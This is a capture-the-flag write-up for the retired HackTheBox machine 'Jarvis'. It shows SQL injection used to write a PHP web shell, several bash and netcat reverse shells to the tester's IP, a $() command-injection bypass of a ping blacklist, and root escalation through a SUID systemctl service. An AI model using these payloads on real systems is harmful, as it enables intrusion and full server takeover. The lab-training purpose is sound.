Machine Info
This is a retired machine on HackTheBox.
Machine IP: 10.129.1.113 My machine IP: 10.10.14.49
Goals
Get the user flag and root flag.
Enumeration
We start with a simple nmap to see which port are open and the services’ versions:
1
2
3
4
5
6
7
8
9
$ nmap -sV 10.129.1.113
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-23 08:33 EST
Nmap scan report for 10.129.1.113
Host is up (0.20s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Okay, so there’s nothing out of the ordinary here, let’s move on to other things.
Exploiting SQL Injection
After digging around in the website (Stark Hotel), we see this strange looking URL:
Notice the cod
parameter in the URL, it looks like a row id from a database table. Let’s try if it is vulnerable to SQL Injection.
Here we use the payload 3 and 2=1
to test, and it does not display anything, so we can conclude that this parameter is unprotected from SQL Injection attacks.
Let’s find out how many column is being queried with a UNION SELECT
clause:
Ok, so it’s 7. Let’s see which user is running the database.
Okay, let’s check if the user has FILE privileges:
Read privilege:
Write privilege:
3 and 2=1 UNION SELECT 1,2,3,4,5,6,7 INTO dumpfile '/tmp/hoang';
then3 and 2=1 UNION SELECT 1,2,3,4,load_file('/tmp/hoang'),6,7;
shows us:
So the user can write files onto the disk, so how about writing a web shell? To write a webshell, we need to find the Apache DocumentRoot (or the website root on the machine). Some common DocumentRoot includes:
- /var/www/html/
- /www/domain/
- /web/public/
- /example.com/www/public/
- /example.com/public_html/
We can try to load the index file to determine where on the disk the DocumentRoot is.
In this case, the DocumentRoot is at /var/www/html/
because the index.php
file is included in the resulting room.php
page.
Shell & pepper
flag
Okay, let’s write a simple web shell using PHP.
1
<?php system($_GET['cmd']); ?>
And the corresponding SQL Injection payload:
1
3 AND 2=1 UNION SELECT '<?php system($_GET["cmd"]); ?>',2,3,4,5,6,7 INTO OUTFILE '/var/www/html/shell.php';
Let’s verify the existence of our web shell:
Having a web shell is cool and all, but not very interactive. We can go further, let’s do a reverse shell.
On our machine, listen for connection on a suitable port:
1
2
$ nc -nlvp 1311
listening on [any] 1311 ...
On the web shell, pass this command:
1
2
3
4
5
nc 10.10.14.49 1311 -e /bin/bash
or
bash -i >& /dev/tcp/10.10.14.49/1311 0>&1
Now we can use the shell comfortably. Let’s check if we can run any command as another user by using sudo -l
:
1
2
3
4
5
6
7
$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
We can run that python script as the user pepper
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)
def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''')
def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()
print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1
print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()
def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req
def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]
def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
Pay attention to the ping
function, it blocks a few special characters but not $ ( and )
, classic command injection techniques. We can use command substitution to run almost anything we want, another shell for example :) Remember that this python program runs as the user pepper
.
First we set up a script that let us do another reverse shell like so:
1
2
$ echo 'bash -c "bash -i >& /dev/tcp/10.10.14.49/1313 0>&1"' > /tmp/peppershell
$ chmod 777 /tmp/peppershell
On our machine, listen to the 1313 port:
1
2
$ nc -nlvp 1313
listening on [any] 1313 ...
Then run the python program as pepper
then use the ping address $(/tmp/peppershell)
And we got it, the pepper
shell. The flag is here:
1
2
$ cat ~/user.txt
2afa36c4f05b37b34259c9355censored
Root flag
pepper
could not run anything with sudo, so we must look for other escalation vector. One is to find SUID binaries then exploit it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ find / -perm -u=s -type f 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
One of these is not like the other. According to SUID3NUM, these are the default SUID binaries and we shouldn’t bother with them:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/sbin/pppd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
We see that the systemctl
binary is not normal. Indeed, on GTFOBin, there is a page about systemctl
Using systemctl
, we can register a service, and we can specify the startup command of said service, because systemctl
has been SUID as root
the startup command will also execute as root
, so we can get a reverse shell (yet again) using this method.
In your home directory, create a service named priv.service:
1
2
3
4
5
6
7
8
9
10
11
12
$ tee priv.service <<EOF
> [Unit]
> Description=privesc
>
> [Service]
> Type=simple
> User=root
> ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.49/1314 0>&1'
>
> [Install]
> WantedBy=multi-user.target
> EOF
1
2
3
4
5
6
7
8
9
10
11
$ cat priv.service
[Unit]
Description=privesc
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.49/1314 0>&1'
[Install]
WantedBy=multi-user.target
Enable it using systemctl:
1
2
3
$ systemctl enable ~/priv.service
Created symlink /etc/systemd/system/multi-user.target.wants/priv.service -> /home/pepper/priv.service.
Created symlink /etc/systemd/system/priv.service -> /home/pepper/priv.service.
On our machine, listen on port 1314 just like the last 2 times, then start the service using:
1
$ systemctl start priv
And that will give us the shell on our machine:
1
2
3
4
5
6
7
8
$ nc -nlvp 1314
listening on [any] 1314 ...
connect to [10.10.14.49] from (UNKNOWN) [10.129.1.113] 45762
bash: cannot set terminal process group (7656): Inappropriate ioctl for device
bash: no job control in this shell
root@jarvis:/# cat ~/root.txt
d41d8cd98f00b204e9800998censored
Thank you for reading :) see you next time!